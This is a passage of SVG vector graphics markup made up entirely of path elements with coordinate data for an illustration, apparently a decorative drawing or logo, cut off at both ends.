d="M115.17,65a28.49,28.49,0,0,0-2.59-2.26,8.74,8.74,0,0,0-2.92-.63c-.33.15-1-.05-1,.48,1.67.48,2.77,1.88,4.4,2.46.71,0,1.49.39,2.11-.05Z" transform="translate(-23 -22)"/><path class="cls-1" d="M125.64,64.7a1.06,1.06,0,0,0,.72-1.1c-.1-.44-.57-.49-1-.59-.38.2-.86.59-.67,1.11s.53.44.91.58Z" transform="translate(-23 -22)"/><path class="cls-1" d="M122.29,64.85c.29.38.82.14,1.15-.15a1,1,0,0,0-.19-1.1c-.39-.39-1-.1-1.29.24s.05.72.33,1Z" transform="translate(-23 -22)"/><path class="cls-1" d="M225.31,64.46a.91.91,0,0,0-.71.73c0,.63.62.72,1.1.86.38-.19.81-.57.61-1.11a.94.94,0,0,0-1-.48Z" transform="translate(-23 -22)"/><path class="cls-1" d="M228.47,66.1c.14-.2.29-.24.48-.38.38-.24.05-.63-.1-.87s-.48-.44-.81-.34-.82.48-.72,1a.92.92,0,0,0,1.15.58Z" transform="translate(-23 -22)"/><path class="cls-1" d="M109.57,65.43a1.81,1.81,0,0,0,.38.62.94.94,0,0,0,1.29-.62,1.16,1.16,0,0,0-1.15-.83.89.89,0,0,0-.52.83Z" transform="translate(-23 -22)"/><path class="cls-1" d="M125.5,66.49c.24.33.57.72,1,.67a1.54,1.54,0,0,0,.82-.92,1.09,1.09,0,0,0-1.3-.72,1,1,0,0,0-.57,1Z" transform="translate(-23 -22)"/><path class="cls-1" d="M123,66.15c-.09.48.24.67.53.92.47.28.91-.15,1.19-.39a.75.75,0,0,0-.14-.77c-.29-.19-.48-.43-.86-.34a2.28,2.28,0,0,0-.72.58Z" transform="translate(-23 -22)"/><path class="cls-1" d="M235.21,65.81a1.66,1.66,0,0,0-.9.63c0,.24-.1.63.19.72a.94.94,0,0,0,1.05.24,1.27,1.27,0,0,0,.62-.91,1.75,1.75,0,0,0-1-.68Z" transform="translate(-23 -22)"/><path class="cls-1" d="M238.33,67.79a1.2,1.2,0,0,0,.9-.87.83.83,0,0,0-1.19-.48.85.85,0,0,0-.43.77c-.1.43.43.53.72.58Z" transform="translate(-23 -22)"/><path class="cls-1" d="M115.79,67c-.29.19-.72.09-.82.53a.84.84,0,0,0,.24,1c.24.19.58.43.91.24a.94.94,0,0,0,.58-1.15,1.18,1.18,0,0,0-.91-.58Z" transform="translate(-23 -22)"/><path class="cls-1" d="M118.66,68.85c.09-.29.53-.44.38-.82-.24-.58-1.24-1-1.63-.24-.33.43,0,.86.39,1.15a.79.79,0,0,0,.86-.09Z" transform="translate(-23 -22)"/><path class="cls-1" d="M232.25,67.4a1,1,0,0,0-.53.92.84.84,0,0,0,1,.58c.29-.29.72-.63.67-1.11a1,1,0,0,0-1.1-.39Z" transform="translate(-23 -22)"/><path class="cls-1" d="M235.41,68.56a.87.87,0,0,0,.19,1,1.35,1.35,0,0,0,1.15.19c.48-.28.42-.77.53-1.2-.29-.15-.39-.39-.72-.58a1.11,1.11,0,0,0-1.15.58Z" transform="translate(-23 -22)"/><path class="cls-1" d="M113.39,69.24c0,.23-.19.71.14.91a1,1,0,0,0,1,.1c.15-.2.58-.3.39-.68-.2-.58-1.06-1.16-1.49-.33Z" transform="translate(-23 -22)"/><path class="cls-1" d="M228.51,69.67a13.78,13.78,0,0,1,1.92,1.06,3.67,3.67,0,0,0,3.88.19c.05-.1.14-.39-.05-.43-1.53,0-2.64-1.35-4-1.55-.63.15-1.48.1-1.73.73Z" transform="translate(-23 -22)"/><path class="cls-1" d="M115.74,69.76a.86.86,0,0,0,.34,1.21c.23.09.62.19.81-.1s.38-.43.28-.82a.86.86,0,0,0-1.43-.29Z" transform="translate(-23 -22)"/><path class="cls-1" d="M120.9,71.4c.39-.24.68-.62.49-1.06-.34-.53-1.2-.91-1.63-.19-.43.38,0,.77.24,1.11.28,0,.57.33.9.14Z" transform="translate(-23 -22)"/><path class="cls-1" d="M170.56,79.2c.64,1.7,2.64.87,4,1a4.3,4.3,0,0,0,1.81-1.56c.05-.78.28-1.78-.17-2.43a7.08,7.08,0,0,1-1-2.69c-.22-1.29,1.37-.19,1.46-1.15-.45-.5-1.14-1.42-1.95-.78a1.58,1.58,0,0,0-.55,1.6c.18,1.24.73,2.39.91,3.53a4.3,4.3,0,0,1-.68-.6c-1-1.23-2.72-.86-3.82-2-1.31.09.87,1.47-.68,1.74-.05.32.32.5.32.82-.14.14-.32.14-.46.23a6.81,6.81,0,0,0,.77,2.29Z" transform="translate(-23 -22)"/><path class="cls-1" d="M125.07,73.09c.29-.24.67-.53.52-1a1,1,0,0,0-.9-.48c-.29.24-.63.48-.48,1,.19.24.43.72.86.53Z" transform="translate(-23 -22)"/><path class="cls-1" d="M154.3,72.75c-.52,1.88-1.48,4.39-.19,6.17.53,0,.39-.58.43-1a6.56,6.56,0,0,0,.57-5.39c-.14-.48-.71-.29-.81.19Z" transform="translate(-23 -22)"/><path class="cls-1" d="M196.17,78a5.38,5.38,0,0,0-.1-4.49c-.19-.38-.14-1.25-.81-1.1a11.76,11.76,0,0,1-.57,2.55,10.78,10.78,0,0,0,1.1,3.42l.38-.38Z" transform="translate(-23 -22)"/><path class="cls-1" d="M123.44,75.93a5.7,5.7,0,0,0,4.26-.82c.53-.38,1.34-.53,1.63-1.11-.1-.23-.34-.14-.43-.33a5.2,5.2,0,0,0-5.46,2.26Z" transform="translate(-23 -22)"/><path class="cls-1" d="M113,80.46c-1-1.73-1.53-3.47-3.3-4.72-.19,0-.48,0-.48.19a5.3,5.3,0,0,0,2.92,5c.53-.1.91.48,1.29.19.2-.39-.28-.44-.43-.63Z" transform="translate(-23 -22)"/><path class="cls-1" d="M193.78,78.34c.38-.14.48-.62.43-1.11a.85.85,0,0,0-1.29-.24c-.1.24-.38.44-.24.77a.86.86,0,0,0,1.1.58Z" transform="translate(-23 -22)"/><path class="cls-1" d="M232.1,83.31c2.69-.78,4.31-3.23,5.84-5.4a1.58,1.58,0,0,0-1.29.19c-2.53.63-3.4,3.32-5,5.06.09.24.28.15.47.15Z" transform="translate(-23 -22)"/><path class="cls-1" d="M106.84,80.94c.43,0,.24-.48.48-.67-.1-.49-.48-.63-.86-.82a.86.86,0,0,0-.63,1.06.78.78,0,0,0,1,.43Z" transform="translate(-23 -22)"/><path class="cls-1" d="M115,80.07a5.19,5.19,0,0,0,5.5,1.4c.24-.09.72-.09.58-.53-1.63-1.2-3.93-.82-5.89-1.3-.19,0-.19.24-.19.43Z" transform="translate(-23 -22)"/><path class="cls-1" d="M108.23,80.85a1.48,1.48,0,0,0,.62.62A1.05,1.05,0,0,0,110,81a1.29,1.29,0,0,0-.09-.72,1.41,1.41,0,0,0-.91-.39,1.15,1.15,0,0,0-.81.92Z" transform="translate(-23 -22)"/><path class="cls-1" d="M153.54,80.17a.7.7,0,0,0-.34.92,1,1,0,0,0,1,.38c.29-.19.67-.48.57-.91s-.81-.48-1.24-.39Z" transform="translate(-23 -22)"/><path class="cls-1" d="M238,80.85c-.09.33.2.53.24.77a1,1,0,0,0,.91.14c.33-.29.76-.53.62-1a5.57,5.57,0,0,0-.67-.48,1,1,0,0,0-1.1.58Z" transform="translate(-23 -22)"/><path class="cls-1" d="M241.87,82a.67.67,0,0,0,.86-.29c.24-.34.47-.68.19-1.11-.39,0-.58-.48-1-.29-.29.14-.72.43-.72.82s.43.58.72.87Z" transform="translate(-23 -22)"/><path class="cls-1" d="M104.2,83c.29.1.53-.1.78-.2.09-.28.38-.48.33-.81a.92.92,0,0,0-1.82.24,1.45,1.45,0,0,0,.71.77Z" transform="translate(-23 -22)"/><path class="cls-1" d="M204.5,82.05c-.15.44.19.72.48,1,.48.24.86-.1,1.14-.49a1.31,1.31,0,0,0-.05-.62.93.93,0,0,0-1.57.09Z" transform="translate(-23 -22)"/><path class="cls-1" d="M111.91,81.76c-.43.24-.38.68-.38,1.11.24.19.38.58.81.53s.57-.38.67-.72a.87.87,0,0,0-1.1-.92Z" transform="translate(-23 -22)"/><path class="cls-1" d="M106.65,83.16a1.13,1.13,0,0,0,1.29.68,1,1,0,0,0,.48-1.07c-.24-.24-.48-.72-.91-.72a1.34,1.34,0,0,0-.86,1.11Z" transform="translate(-23 -22)"/><path class="cls-1" d="M208.71,83.84a1,1,0,0,0,.52-1.16,1.09,1.09,0,0,0-1-.53c-.57.1-.61.62-.86,1,.25.39.72.87,1.3.68Z" transform="translate(-23 -22)"/><path class="cls-1" d="M110.43,83.6c.09-.25.38-.39.24-.73a.9.9,0,0,0-.92-.68c-.33.2-.66.44-.62.92s.44.44.62.68c.29.09.44-.19.68-.19Z" transform="translate(-23 -22)"/><path class="cls-1" d="M235.36,82.77c-.1.25-.19.68,0,.87s.53.49.91.39a1.43,1.43,0,0,0,.81-.77,1,1,0,0,0-1.77-.49Z" transform="translate(-23 -22)"/><path class="cls-1" d="M239,83.16c-.33.58.15.92.58,1.11a1.25,1.25,0,0,0,1.15-.82.92.92,0,0,0-1.15-.72c-.29,0-.39.24-.58.43Z" transform="translate(-23 -22)"/><path class="cls-1" d="M216.4,84.51a2.19,2.19,0,0,0,.92.39c.39-.29,1-.49.72-1.11a1.16,1.16,0,0,0-1-.53,1.12,1.12,0,0,0-.68,1.25Z" transform="translate(-23 -22)"/><path class="cls-1" d="M203.4,84.41a.81.81,0,0,0,.47.92c.44.29.82-.19,1.11-.39,0-.14.14-.48-.1-.57a.89.89,0,0,0-1.48,0Z" transform="translate(-23 -22)"/><path class="cls-1" d="M206.7,84.22a1.13,1.13,0,0,0-.63.39.79.79,0,0,0,.05.72c.34.1.72.48,1.06.15a.68.68,0,0,0,.38-.78c-.14-.38-.53-.38-.86-.48Z" transform="translate(-23 -22)"/><path class="cls-1" d="M126.26,85.67c0-.29.39-.63.1-.92a1.69,1.69,0,0,0-1-.48c-.38,0-.38.34-.67.43-.09.39-.14,1,.34,1.21a.93.93,0,0,0,1.19-.24Z" transform="translate(-23 -22)"/><path class="cls-1" d="M222.44,85.71c.33-.09.81-.29.72-.77-.34-.38-.76-.86-1.44-.57-.1.24-.38.43-.38.72.24.38.53.82,1.1.62Z" transform="translate(-23 -22)"/><path class="cls-1" d="M219.52,84.37c-.33.09-.48.38-.76.62,0,.29,0,.58.23.72a1,1,0,0,0,1.06.2c.19-.24.72-.49.52-1a1.25,1.25,0,0,0-1-.57Z" transform="translate(-23 -22)"/><path class="cls-1" d="M242.16,85.52l-.15-.14c-2-.1-4.16-1.69-6.22-.39-.38.25-1.1,0-1.25.63,1.92.72,4.5,1.64,6.51.43.34-.19,1.2.15,1.11-.53Z" transform="translate(-23 -22)"/><path class="cls-1" d="M104.83,86.39A7.77,7.77,0,0,0,111,85.28l.19-.34-.14-.14a8.63,8.63,0,0,0-6.41,1.3l.19.29Z" transform="translate(-23 -22)"/><path class="cls-1" d="M228,85.28c-.19-.48-.77-.53-1.1-.53-.38.15-.77.53-.63.92a1,1,0,0,0,1.25.53,1.1,1.1,0,0,0,.48-.92Z" transform="translate(-23 -22)"/><path class="cls-1" d="M119.18,86.44c.48-.19.38-.58.58-1-.29-.43-.72-.86-1.29-.57-.25.24-.63.38-.49.91a1,1,0,0,0,1.2.63Z" transform="translate(-23 -22)"/><path class="cls-1" d="M115.17,86.63a.86.86,0,0,0,1-.14c.09-.25.38-.44.24-.78a1.11,1.11,0,0,0-1-.77,3.07,3.07,0,0,0-.77.54c-.14.52.2.86.54,1.15Z" transform="translate(-23 -22)"/><path class="cls-1" d="M231.39,86.82a1,1,0,0,0-.87-.77c-.18.1-.52.1-.61.25a.75.75,0,0,0-.2.91,1.1,1.1,0,0,0,.91.48,1,1,0,0,0,.77-.87Z" transform="translate(-23 -22)"/><path class="cls-1" d="M111.53,89.18a7.22,7.22,0,0,0,1-2.07c0-.29.39-.43.24-.81l-.14-.1a12.52,12.52,0,0,0-4.84,4l.19.38c1.3-.34,2.59-.34,3.5-1.45Z" transform="translate(-23 -22)"/><path class="cls-1" d="M228.28,88.27c.33-.24.81-.34.72-.92a1,1,0,0,0-1.06-.62c-.28.24-.77.43-.62,1a1.09,1.09,0,0,0,1,.58Z" transform="translate(-23 -22)"/><path class="cls-1" d="M117.17,86.92A.8.8,0,0,0,116.7,88a1.26,1.26,0,0,0,1,.48c.29-.24.68-.38.73-.92-.1,0-.2-.14-.15-.24-.14-.43-.72-.48-1.15-.43Z" transform="translate(-23 -22)"/><path class="cls-1" d="M239.43,89.72c.37-.24.81-.54.62-1.11a1.17,1.17,0,0,0-1.15-.53c-.53.09-.62.67-1.1.72-.77-.87-1.91-2-3.3-1.88-.53.39.39.72.57,1.16a6.05,6.05,0,0,0,3.45,3c.14.1.48.15.57,0a1.53,1.53,0,0,0-.67-1c0-.62.67-.09,1-.33Z" transform="translate(-23 -22)"/><path class="cls-1" d="M242.35,88.22a.74.74,0,0,0,0-.92,1.31,1.31,0,0,0-1.1-.33,1.44,1.44,0,0,0-.71.62c-.1.39.14.63.37.87.44.05,1.16.24,1.4-.24Z" transform="translate(-23 -22)"/><path class="cls-1" d="M220.81,87.3c0,.34.34.58.48.78.62,1.93,2.73,2.94,4.36,3.85.09,0,.33,0,.43-.09A6.56,6.56,0,0,0,225,89.91c-.19-.53-.57-.77-.9-1.26-.87-.67-2.06-1.59-3.31-1.35Z" transform="translate(-23 -22)"/><path class="cls-1" d="M114.11,88.65a1.08,1.08,0,0,0,1.1.39c.24-.19.62-.53.43-1-.24-.24-.48-.63-.86-.58s-1,.62-.67,1.15Z" transform="translate(-23 -22)"/><path class="cls-1" d="M229.38,88.85c-.29.24,0,.62.05.87.33.33.71.19,1.1.14.14-.2.52-.39.47-.68-.33-.48-1.09-1-1.62-.33Z" transform="translate(-23 -22)"/><path class="cls-1" d="M242.25,91.07a1.15,1.15,0,0,0,.67-1.21,2.46,2.46,0,0,0-.58-.48,1.2,1.2,0,0,0-1.24.33c0,.34-.23.63,0,.92a1.27,1.27,0,0,0,1.15.44Z" transform="translate(-23 -22)"/><path class="cls-1" d="M209.81,96.51a7.14,7.14,0,0,0-6.51,1.3v.29a10.21,10.21,0,0,0,5-.72c.43-.44,1.49-.29,1.49-.87Z" transform="translate(-23 -22)"/><path class="cls-1" d="M139.28,99.4a.91.91,0,0,0,.72-.82,1.13,1.13,0,0,0-.91-.72c-.34.24-.82.48-.62,1.06a.91.91,0,0,0,.81.48Z" transform="translate(-23 -22)"/><path class="cls-1" d="M207.22,99.88c.34.19.63.44,1.06.34a1.34,1.34,0,0,0,.71-1.11,1,1,0,0,0-1.91,0c0,.24-.09.58.14.77Z" transform="translate(-23 -22)"/><path class="cls-1" d="M218.52,99c-2.49-.2-5.36-.2-7,1.73l.25.19,2.58,0a7.8,7.8,0,0,0,4.12-1.69V99Z" transform="translate(-23 -22)"/><path class="cls-1" d="M125.64,99.83a.87.87,0,0,0-.38,1.11.88.88,0,0,0,1,.44.9.9,0,0,0,.63-.92c-.2-.38-.72-1-1.25-.63Z" transform="translate(-23 -22)"/><path class="cls-1" d="M128.46,100.32c-.14.19-.42.14-.57.43a.61.61,0,0,0,.29.82.78.78,0,0,0,.91,0c.1-.24.33-.39.19-.63a1.37,1.37,0,0,0-.82-.62Z" transform="translate(-23 -22)"/><path class="cls-1" d="M109.18,105.38c.53.29,1.29,1,1.78.43-1.11-1.45-1.49-3-3.12-3.9a6.33,6.33,0,0,1-1-.53c-.34.09-.77-.53-1,.05,1.68,1.1,1.63,3,3.3,3.95Z" transform="translate(-23 -22)"/><path class="cls-1" d="M232.87,109.52v-.09l0,0c-.53-.67-1.68,0-2.31-.53a36.16,36.16,0,0,1-9.42-2.36c.05-.14.24-.1.39-.1a1.24,1.24,0,0,0,.76-1.2,1,1,0,0,0-1.82.29,1.18,1.18,0,0,0,.72.91c-.1.1-.29,0-.43,0-1.48-.67-2.92-1.3-4.36-2-.53-.1-1-.53-1.48-.63-1.1-.53-2.2-1.06-3.3-1.49-3.07-1.59-6.46-2.46-9.72-3.62-.71-.19-1.39-.39-2.05-.58-1.2-.33-2.4-.62-3.59-1-4.07-1-9.53-1.11-13.07,1.11-.57-.19-.9.72-1.19.14,1-2.65,3.92-3.51,6.55-3.61,19.19-.19,37.18-.34,56.08-.63a6.07,6.07,0,0,0,5.51-2.74,4.87,4.87,0,0,0,.33-4.44,3.83,3.83,0,0,0-3.59-2,3.28,3.28,0,0,0-2.68,2,2.44,2.44,0,0,0,.92,2.65.72.72,0,0,0,.95-.24c.24-.62-.44-.62-.53-1.11a1.59,1.59,0,0,1,.53-1.68c.48-.48,1.29-.25,1.86-.25a3.41,3.41,0,0,1,1.44,1.4,3.88,3.88,0,0,1,0,2.56,4.27,4.27,0,0,1-3,2.41c-4,.58-47.56.38-47.56.38-5.12.49-11-1-15.36,1.74-2,1-3,3.18-3.54,5.16a34.25,34.25,0,0,0-3.73,3.8l-.15-.14c.24-1.16.77-2.17,1-3.33.71-1,.71-2.26,1.24-3.32,1.82-2.94,3.54-5.93,6.37-8,1.2-1.6,3.3-1.31,5.11-1.31a12.71,12.71,0,0,0,6.66,1,.42.42,0,0,0,.14-.34c-.67-.63-1.77-.87-2.53-1.49-1.92-.92-3.74.29-5.74.14-.1-.1-.2-.14-.15-.29a28.06,28.06,0,0,1,5.94-3.18,40.35,40.35,0,0,1,5.21-2.07c.72,0,1.39-.63,2.06-.19-1.43,2.79-2.73,5.78-4.93,8.14-.72,0-1.15.77-1.87.82-.38.53-1.15.15-1.63.34-1.48.63-3.58.24-4.59,1.64a.71.71,0,0,0,.38.24c2.92,0,6.18.24,9.29.1a1.16,1.16,0,0,0,.76-.92c-.43-.82.15-1.54.53-2.17.24-1.16,1-1.88,1.34-3,1-2,2.15-3.9,3.25-5.88h0c.1,0,.19.19.39.15,2.15-.73,4.88,0,7.32-.1l.33.29h0a34.26,34.26,0,0,1-.43,7c-.81,2.79-4,2.51-6.32,3.13-.57.39-1.67.19-1.67,1.16,2.78.58,6,.24,9,.19.47-.19.57-.63.81-1.06.1-.63.72-1.16.53-1.83-.53-.67-.05-1.74-.2-2.65a1.44,1.44,0,0,0,0-.92c.39-1.39.29-3.08.58-4.43h0c.86.09,1.24,1.11,2.15,1.15.48-.67-.53-1-.77-1.39a5.24,5.24,0,0,1,3.21.48l-.47.53c-.29.53.14.92.57,1.11s.57-.15.82-.24c.61-.44-.06-.87.14-1.26a45.78,45.78,0,0,1,10.19,2.9c.9.28,1.76,1,2.78.91a13,13,0,0,0-3.64-1.93c-.82-.48-2-.53-2.59-1.2.15-.24.48-.15.63-.34a7.12,7.12,0,0,0,4.16-2.7c.09-.29.62-.19.57-.58-.43-.48-1.15.15-1.72.1-2,.39-2.87,2.75-4.88,3.18-2.44-.58-4.93-1.15-7.37-1.78a14.37,14.37,0,0,1-3.59-.78,24.72,24.72,0,0,1,.33-2.64,1.77,1.77,0,0,0,.2-1,2.38,2.38,0,0,1,.47-.48l1-.46a12.07,12.07,0,0,1,3.84,0,10.33,10.33,0,0,0,2.39.53,1.76,1.76,0,0,1,1.2-.24c1.53-.82.52-2.6.62-4h0a30.72,30.72,0,0,0,3.62-3.95.91.91,0,0,0-.52-.91.82.82,0,0,0-1,.19c-.57.44,0,1,0,1.49a8,8,0,0,1-2.2,1.89,1.9,1.9,0,0,0-.41.15l-.12-.3a6.4,6.4,0,0,1-.38-1c-.28-.34-.48-1-.76-1.3-.82-2.12-2.39-3.33-3.74-5-2.44-3.17-6.26-5-10.09-6.21s-7.61.38-11,1.59a2.76,2.76,0,0,1-1.87-2,9.61,9.61,0,0,1,.92-5.12c.14-1.2.95-2.12,1.29-3.22a34.33,34.33,0,0,0,2-8.29c.1-1.78-1.24-3-2.58-3.81a2.63,2.63,0,0,0-2.64.53,7,7,0,0,1-3.1,2.8c-.1.82.91.28,1.24.57,1,.2,2.24-.14,3.11.53.09,1.93-1,3.52-2,5a38.69,38.69,0,0,0-4.36,7.51l0,0v-2.5h0v0H167.13c-1.15-.39-2-1.59-3.31-1.59-2.68-1.06-4.44,1.73-7.17,1.4-.34.19-.24.53-.43.77s-.38,0-.53-.05c-.14-1.15-.53-2.22-.67-3.32-.28-.48-.14-1.16-.38-1.64-1.53-4.19,3.73-1,4.78-3.47.91-2.12-1.77-2.36-2.58-3.85v-.63c-.77-.77-1.58-1-2.06-2a7,7,0,0,0,.14-3.71c0-.29-.23-.67-.67-.53-.9,1.25-1.57,2.27-2.44,3.47A26.61,26.61,0,0,0,149,32.75c-.72-.1-1.39-.82-2.2-.53a.66.66,0,0,0,.14.72,7,7,0,0,0,2.34,4.73l.15.72c-.86,2-.62,4.24-.86,6.36a35.38,35.38,0,0,1-10.38,14.61c-2.73,3.08-6,6.07-6.41,10.31-.15.67.09,1.49-.44,2a16.16,16.16,0,0,1-4.44-2.36c-2.2-1.54-5.36-1.35-6.8-4.14-.57-1.11.15-2.22.67-3,1.62-1.54,1.39-4.29.53-6.17-.19,0-.24.2-.38.24-.15,2.85-2.4,4.82-1.54,8,.2.92.67,1.5.91,2.37a7.1,7.1,0,0,1-1.1-.25,11.92,11.92,0,0,0-3.2-.42c-2.2,1-5.22-.25-7,1.78-.29,0-.67.09-.57.53,1,0,2,.28,3.1.24,1.68.28,2.78-1.12,3.93-1.74h.29c.48-.48,1.29-.19,1.91-.29,3,.34,5.36,1.79,7.85,3.28v.19c-1,.44-2.06.72-3,1.25a6.57,6.57,0,0,0-2.68,3.23c-.76,1.21.24,2.27.72,3.28,0,.48.1,1.06.53,1.25,1.53-1.64.09-3.66.33-5.54.39-1.44,1.73-2.12,3.11-2.5,2.73-1.16,4.7,1.06,6.89,2.31,0,2.22.24,4.34-.24,6.5a5.68,5.68,0,0,1-2.24.34c-3.79.29-6.75,2.36-10.15,3.52-1.53.53-3.35.48-4.88,1.06,1.2.34,2.44-.1,3.69-.14,4.68-.68,8.27-4.29,13.34-3.67l.1.15A11.41,11.41,0,0,1,128.75,84c-.14-.53-.19-1-.67-1.25a.89.89,0,0,0-1.1.38.69.69,0,0,0,0,.73,1.56,1.56,0,0,0,1.06.67c-.1.43-.63.63-.91,1-1.34,2.27-4.07,1.35-5.65,2.94-.24.34-1.1.53-.72,1.06a7.17,7.17,0,0,0,4.93-1.25c1.77-2,3.64-3.86,5.4-5.74A5.73,5.73,0,0,1,130,86.92a5.19,5.19,0,0,0-1.29-.72,1.17,1.17,0,0,0-.86,1,2.83,2.83,0,0,0,.72,1c-1.63,1.15-3.68,1.25-5.55,1.78a95.35,95.35,0,0,1-10.43.77c-1.68-.1-3.59.48-5.17,0-1.82.33-3.78-.24-5.26.77-.2.24,0,.48,0,.72,2.2,1.45,5.22.29,7.71.73H128.8a8.46,8.46,0,0,0,3.88-.73c2.44-1.39,3.77-3.9,5-6.36a10.12,10.12,0,0,0,1-2.89A4.14,4.14,0,0,1,142.29,80a22,22,0,0,1-.81,7.32c-.29,1.55-1.29,3-.67,4.68.14.77,1,.77,1.58.87,5.79-.1,11.58-.34,17.7.09a14.4,14.4,0,0,0,3.25.48c.1-.14.43-.19.29-.48a1.8,1.8,0,0,0-1.15-1.34c-.09-.29-.52-.2-.66-.39-3.07-1.73-6.76-.82-10.34-.77-1.87.19-3.73.53-5.31-.53-.72-.87-.19-3.62-.19-3.62a35.24,35.24,0,0,1,1.5-5.25,34.64,34.64,0,0,1,5.05,2.6,31.92,31.92,0,0,1,4.78,2.56c6.51,3.61,10.82,9.59,13.74,16.24,0,.53.52,1.11.19,1.64-1-1.55-2.44-2.42-3.63-3.67A7.06,7.06,0,0,0,164,95.06c-.72-1-2.25-1.15-3.45-1.49l-17.41-.1c-14.17-.19-27.09.44-41.15.19-2-.19-4.36-.86-4.93-2.93a3.22,3.22,0,0,1,0-2.65,2.92,2.92,0,0,1,2.44-1.31,2.56,2.56,0,0,1,1.63,1.36c0,.62-.53,1.2-.77,1.73,0,.19.24.58.57.43a2.24,2.24,0,0,0,1.25-1.54c0-.34.19-.82-.15-1.06a3.17,3.17,0,0,0-2.24-2,4,4,0,0,0-3.26,1.1c-1.15,1-1.1,2.7-.76,4.05a6.45,6.45,0,0,0,5.16,3.86l46.56.19c4.54.24,9.67-.53,14.26.38A5.5,5.5,0,0,1,165.59,99c0,.09-.19,0-.33,0a20.77,20.77,0,0,0-13.59-2.79c-1.91-.1-3.63.63-5.36,1.11a2.77,2.77,0,0,1-2.35-.77c-1.72-1.54-4.73-1.45-6.93-.87,0,.15-.05.29.05.34,2.34-.19,3.73,1.83,5.84,2.07.47.1.86-.43,1.28,0a43.83,43.83,0,0,1-6.64,3c-.72-.14-1.11-.82-1.68-1.21-.91-1-2.58-.57-3.83-.67-.43.1-.81-.19-1.1,0a4.15,4.15,0,0,0,2.06,1.59c1.2.53,2.58,0,3.68.68a4.73,4.73,0,0,1-1,.67c-2.25.87-4.12,2.89-6.6,2.75a8.52,8.52,0,0,1-7.08-2.32,4.81,4.81,0,0,0-4.84-2.79c-.14.09-.33.09-.29.34,1.06.62,1.87,1.87,2.92,2.6.67.82,2,0,2.59.91A8.62,8.62,0,0,0,125.5,105a14.79,14.79,0,0,0,2.48.67l-.33.19c-4.35,1.45-9.38,1.59-14.26,1.4-1.44,0-2.82-.49-4.26-.44a2.63,2.63,0,0,0,1.15.68,2.78,2.78,0,0,1-1.29.38,9,9,0,0,0-1.82.49,4.72,4.72,0,0,0-2,.48,10.18,10.18,0,0,1-2.73,2.22c0,.19,0,.48.19.48.91-.39,2.06-.1,3-.48,1.57-.15,2.48-1.89,3.73-2.61,1.34-1.06,3.25-.82,4.88-.58,1,.25-.1.63.19,1.25.38.35.72.73,1.25.58a.73.73,0,0,1,.33-.23,1.09,1.09,0,0,0,0-1.21c.67-.43,1.59,0,2.3-.24,1.82,0,3.64-.44,5.41-.48.28,0,.62-.34.91,0-.14.38-.63.44-.43,1s.57.63,1,.72c.48-.19.91-.53.72-1.15-.1-.34-.47-.39-.72-.53,1-.48,2.16-.63,3.16-1.11a10,10,0,0,0,2-.67c.61,0,1.14-.63,1.71-.39a9.5,9.5,0,0,1-1,2.31c-.76,2.56-1.34,5.93,0,8.39.15,0,.19,0,.29-.1-1-2.55-.43-5.49.43-7.9.67-4.09,4.88-5.3,7.89-6.84l.15.19c-.82,2.12-2,4.14-1.82,6.7.09.43-.19.86,0,1.15a5,5,0,0,0,1.77-2.21c.33-2.17-.91-4.87,1.29-6.46,3.92-1.54,7.61-3.57,12.15-3.61.15.14.48-.1.53.18-1,1.07-2.34,2.08-2.77,3.38-1.53,2.12-1.49,5.73-.82,8.34.43,1.49-.86,2.31-1.48,3.47-.3.41-.39,1.11-.66,1.58l.94.11-1.57.36a1.23,1.23,0,0,1-.53,0c-.77-2,1.53-3.18.81-5.1a3.47,3.47,0,0,0-3.3-2,4,4,0,0,0-3.83,2c-1.1,2.41.29,4.91.72,7.27-.1.77.77,1.64,0,2.27a6.51,6.51,0,0,0-5.4-1.11c-.58.29-1.63-.1-1.91.58,2.05,1.1,4.68,1,7,.86.28-.09.47-.14.71,0,.2,1.25-.24,2.94.53,4a4.9,4.9,0,0,0,3.68,1.59c4.41-.14,8.33-1.44,12.35-2.46.62-.05,1.1-.38,1.77-.38a34.49,34.49,0,0,1,6.79-.92,12,12,0,0,0-2,4.34c-.58,1.3,1,1.49,1.48,2.22-1.48.43-2.54,1.44-3.93,2-3.05-.1-5.64,1.06-8.51,1.4,0,.62,1,.43,1.1,1.06-.14.43-.58.48-.91.72,0,.29,0,.34.29.38.29-.33.91-.09,1.19-.43,1,0,1.77-.29,2.68-.34a8.56,8.56,0,0,0,2.44-1c1-.29,1.63-1,2.63-1.25,1.44,0,2.73-.48,4.07-.58v.29c-1.1,1.78-2.24,3.61-3.39,5.3a.53.53,0,0,0,.33.77,2.5,2.5,0,0,0,1.87-.29,57.88,57.88,0,0,0,2.72-5.16c.34-1.64,1.53-2.5,2.73-3.61.19-.1.48-.39.67-.1a21.17,21.17,0,0,0-2.29,3.38c-.39,1.35-.49,3.08.71,4.19.57.48,1.44.34,2.2.39,1.87-1,4.26.57,5.7-1.26.86-.14,1,.87,1.48,1.35.81.24,1.67,1.06,2.49.48-.05-.53-.63-1-.91-1.49-.58-1-1.29-1.83-1.82-2.75a9.49,9.49,0,0,1-.77-1.78,14.66,14.66,0,0,0,2.59,1,16.74,16.74,0,0,1,2.59.77,8.88,8.88,0,0,0,2.39,1.84c1.19.57,2.53.67,3.77,1.15.49,0,1.2.44,1.54,0a2.14,2.14,0,0,0-.72-.53c-.15-.62.86-.29,1.19-.77a.67.67,0,0,0-.55-.37c-.69-.36-2.39-.49-2.85-.74a9.78,9.78,0,0,1-1.67-.53c-2.87,0-4.45-2.6-6.74-3.56.52-.49,1.33-.88,1.67-1.59a2.7,2.7,0,0,0,.14-2.56c-.43-1.49-2.34-1.3-3.44-2.12l.14-.15a20.11,20.11,0,0,1,5.17.68c4.59.62,8.85,2.36,13.64,2.46,2.63,0,5.93.14,7.22-2.41.24-1.5.53-3,.77-4.48.57-2.41,2.15-4.63,1.91-7.28a5,5,0,0,0-3.25-3,4.14,4.14,0,0,0-4.16,1c-1.73,1.4-.53,3.71-.48,5.59,0,.39.05.68-.34.87-6.93-.63-13.39-2.36-20.29-3.08-1.58-.28-3.17-.21-4.68-.52l-1.92-.21c-6,.2-12,.53-17.56,2-1.19.38-2.54.48-3.73.91-.86-.14-1.58.48-2.39.25a5.13,5.13,0,0,0,1.62-3.19,1.34,1.34,0,0,0,.91,1c.34-.53-.28-.92-.33-1.45.76-.43,1.1.53,1.72.73a12.14,12.14,0,0,0,2.92.67l.33-.34c-1-1.64-3.16-1.92-5-2-1-1.59-1-3.57-.86-5.5a8.19,8.19,0,0,1,.95-3A7.36,7.36,0,0,1,152.53,99a6.76,6.76,0,0,1,3-1.63h.15a.21.21,0,0,0,.05.14c-1